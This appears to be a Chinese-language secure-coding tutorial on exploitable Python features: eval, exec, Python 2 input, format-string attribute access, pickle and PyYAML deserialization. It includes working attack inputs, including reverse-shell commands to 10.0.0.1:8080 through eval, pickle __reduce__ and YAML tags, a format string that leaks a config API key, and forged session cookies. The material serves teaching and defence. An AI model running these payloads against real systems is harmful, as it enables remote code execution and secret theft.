應用程序的安全性與語言的選擇幾乎沒有關系,你可以使用容易產生漏洞的語言安全地編程,也可以使用設計上安全的語言做出一些不安全的事。
不過,作為程序員應該當心不同語言的特性可能導致的漏洞。今天我們來介紹幾個在Python中可能被攻擊者利用的危險特性。
Python 中像 eval(),exec() 和 input() 這樣的危險函數可以被利用來進行權限繞過,甚至能導致代碼執行。
Eval()
Python 中的 eval() 方法會獲取字符串並將其作為代碼執行,例如執行 eval('1+1') 會返回 2 。
由於 eval() 可以被用來在系統上執行任意代碼,所以千萬千萬不要把它用在任何未經過濾的用戶輸入上,讓我們來看一個漏洞程序,下面這個計算器程序使用一個 JSON API 來接收用戶輸入:
def addition(a, b):
return eval("%s + %s" % (a, b))
result = addition(request.json['a'], request.json['b'])
print("The result is %d." % result)
按照程序的預期運行,輸入
{"a":"1", "b":"2"}
程序會打印 “ The result is 3. ”
但由於 eval() 會獲取用戶的輸入並將其作為 Python 代碼執行,攻擊者可以提供以下惡意輸入:
{"a":"__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')#", "b":"2"}
該輸入會導致程序調用 os.system() 並產生一個指向 IP 10.0.0.1 上 8080 端口的反向 shell 。
Exec()
exec() 與 eval() 類似,一樣能把輸入的字符串作為 Python 代碼執行,下面這個程序可以通過和上面一樣的方法進行利用:
def addition(a, b):
return exec("%s + %s" % (a, b))
addition(request.json['a'], request.json['b'])
Input()
在 Python 2 中有兩個接收用戶輸入的內置函數:input() 和 raw_input(),而在 Python 3 中,只有 1 個函數:input() 。
Python 2 中 input() 和 raw_input() 的區別是:raw_input() 會獲取用戶輸入並且在進一步處理前將其轉換成字符串,而 input() 則會保留輸入數據的原始類型。
這會出現什么問題?使用 Python 2 的 input() 函數意味着攻擊者可以自由地傳入變量名、函數名和其它數據類型,進而導致權限繞過和其它意外的結果。
例如,如果一個程序使用以下代碼進行訪問控制:
user_pass = get_user_pass("admin")
if user_pass == input(“Please enter your password”):
login()
else:
print "Password is incorrect!"
攻擊者可以傳遞一個變量名 user_pass 作為輸入, 然后程序會通過判斷。因為程序會把用戶的輸入解釋為一個 變量,此時 Python 的條件判斷會變成這樣:
if user_pass == user_pass: // 這將永遠為真
攻擊者甚至可以傳入 get_user_pass("admin"),然后也能得到同樣的結果,因為用戶的輸入被解釋成了一個函數調用:
if user_pass == get_user_pass("admin"):
// 這也將永遠為真
因為這些安全問題,如果你正在使用 Python 2 ,那么你應該使用 raw_input() 來代替 input() 。
這個漏洞在 Python 3 中已經被消滅了,Python 3 中唯一的輸入函數只有 input() ,與 Python 2 中的 raw_input() 表現一樣,會把用戶的輸入轉換為字符串。
三、利用格式化字符串
另外一個比較危險的 Python 函數是 str.format() ,如果程序在一個由用戶控制的格式化字符串上使用 str.format(),攻擊者就能通過精心構造的格式化字符串來訪問程序中的任意數據,這是一個容易利用的高危漏洞,會導致權限繞過和機密數據泄露。
Python 3 引入了一種新的格式化字符串方法,相比以前使用 % 操作符 的方法更強大更靈活。新方法中的其中一個特性是你可以訪問對象中的屬性,這意味着你可以像下面這樣做:
假如有一個像下面這樣的程序,允許用戶通過 str.format() 來格式化程序中的 nametag ,
CONFIG = {
"API_KEY": "771df488714111d39138eb60df756e6b"
// some program secrets that users should not be able to read
}
class Person(object):
def __init__(self, name):
self.name = name
def print_nametag(format_string, person):
return format_string.format(person=person)
new_person = Person(“Vickie”)
print_nametag(input("Please format your nametag!"), person)
你可以輸入這樣的格式化字符串:
print_nametag("Hi, my name is {person.name}. I am a {person.__class__.__name__}.", new_person)
輸出為:
“Hi, my name is Vickie. I am a Person.”
當用戶能直接控制格式化字符串,並向格式化字符串中傳入一個 Python 對象時,問題就出現了。原因在於 Python 對象方法中的 特殊屬性 ,這些屬性可以泄露程序中的各種數據。例如,屬性 __globals__ 可以獲取存放了所有全局變量的字典,當執行
print_nametag("{person.__init__.__globals__[CONFIG][API_KEY]}", new_person)
會返回 “771df488714111d39138eb60df756e6b”,因而造成程序內的 API key 泄露。
四、利用 Pickle 反序列化
序列化是把編程語言中的一個對象(例如一個 Python 對象)轉化為能被保存到數據庫或在網絡上進行傳輸的格式的過程,而反序列化則剛好反過來:從文件或網絡中讀取序列化數據並將其轉化回對象。
在 Python 中,序列化通過 Pickle 來完成,以下代碼會打印出 new_person 的序列化表示(這個過程叫做序列化):
class Person: def __init__(self, name): self.name = name new_person = Person("Vickie") print(pickle.dumps(new_person))
輸出為:
b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00Vickieq\x04sb.'
而 pickle.loads(pickled_object) 則會返回一個原始 Python 對象給程序來操作(這個過程叫反序列化)。
print(pickle.loads(b’\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00Vickieq\x04sb.’).name) // -> prints "Vickie"
當程序從不信任源接收數據時,這個函數的風險就會顯現出來。如果攻擊者能控制被程序反序列化的數據,他可能會進行權限繞過甚至是代碼執行。
(1)權限繞過
如果程序通過一個由反序列化對象得到的信息進行訪問控制,並且不檢查對象的完整性,那么攻擊者就能輕易地通過提供一個偽造的對象給應用來進行權限繞過。
比方說一個程序的會話 Cookie 是一段 base64 編碼的字符串,即一個 Person 對象的序列化表示。當程序接收到一個會話 Cookie,它會對 Cookie 進行反序列化以檢查對象中的 "name" 字段中的用戶身份,
class Person: def __init__(self, name): self.name = name new_person = Person("Vickie") session_cookie = base64_encode(pickle.dumps(new_person))
序列化數據不提供任何形式的數據保護,它只是打包數據以進行傳輸的一種方式,如果 cookie 沒有經過加密,而且在使用之前沒有檢查 cookie 的完整性,攻擊者就能輕易地通過以下代碼來偽造任意用戶的 cookie :
class Person: def __init__(self, name): self.name = name new_person = Person("Admin") session_cookie = base64.b64encode(pickle.dumps(new_person))
(2)代碼執行
現在到了最令人興奮的的一部分:利用不安全的反序列化實現代碼執行。
記住,序列化對象可以代表任意的 Python 對象,當程序反序列化一個序列化對象時,它會初始化一個那個類的對象。
序列化類允許通過定義一個 __reduce__ 方法來聲明它的對象會被如何序列化,這個方法沒有任何參數且只返回一個字符串或元組。當返回一個元組,該元組會指明對象如何通過反序列化被重建,元組的形式應該為這樣:
(用於實例化新對象的可調用對象,第一個可調用對象的參數元組)
這意味着如果攻擊者在對象中定義了一個 __reduce__ 方法,則在反序列化時會把序列化對象實例化為其它對象。現在如果攻擊者構造一個像這樣的惡意對象:
class Malicious: def __reduce__(self): return (os.system, ('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1',)) fake_object = Malicious() session_cookie = base64.b64encode(pickle.dumps(fake_object))
他就能使程序在反序列化時調用以下命令:
os.system(‘bash -i >& /dev/tcp/10.0.0.1/8080 0>&1’)
這將產生一個指向 IP 10.0.0.1 上 8080 端口的反向 shell 。
五、利用 YAML 解析
另一種能危害 Python 應用的不安全反序列化方式是 YAML 文件加載。
有趣的是,YAML 代表 “ YAML Aint't Markup Language (YAML不是標記語言)”,它是一種數據序列化標准,已經在各種編程語言中廣泛使用。在 Python 中,PyYaml 是最受歡迎的 YAML 處理庫。
YAML文件與序列化數據相似,能代表任意的 Python 對象。在 PyYaml 中,你可以像這樣把一個 Python 對象打包成 YAML 文件:
class Person: def __init__(self, name): self.name = name new_person = Person("Vickie") print(yaml.dump(new_person))
這會打印出以下字符串:
!!python/object:__main__.Person {name: Vickie}
要將 YAML 文件重建為原始的 Python 對象,應用程序應調用:
yaml.load(YAML_FILE)
與反序列化問題類似,YAML 加載也給了攻擊者偽造任意對象和實現代碼執行的機會。
(1)權限繞過
如果應用使用用戶提供的 YAML 文件進行訪問控制,並且不檢查 YAML 文件的完整性,惡意用戶可能會偽造任意 YAML 文件來繞過訪問控制。
class Person: def __init__(self, name): self.name = name new_person = Person("Vickie") session_cookie = base64_encode(yaml.dump(new_person))
例如,如果上面的代碼用於給用戶生成會話 cookie,攻擊者可以輕易地生成一個偽造的 cookie:
class Person: def __init__(self, name): self.name = name new_person = Person("Admin") session_cookie = base64_encode(yaml.dump(new_person))
(2)代碼執行
如果應用使用 PyYaml < 4.1,則還可以通過在 YAML 中向應用程序提供 os.system() 命令來實現任意代碼執行:
!!python/object/apply:os.system ["bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"]
六、總結
除了特定於語言的漏洞外,與平台無關的問題(例如 XSS, XXE, SQL注入和命令注入)也始終值得關注。
此外,受污染的程序包和未修復的依賴仍然是 Python 開發人員最大的安全隱患之一,所以一定要注意這些。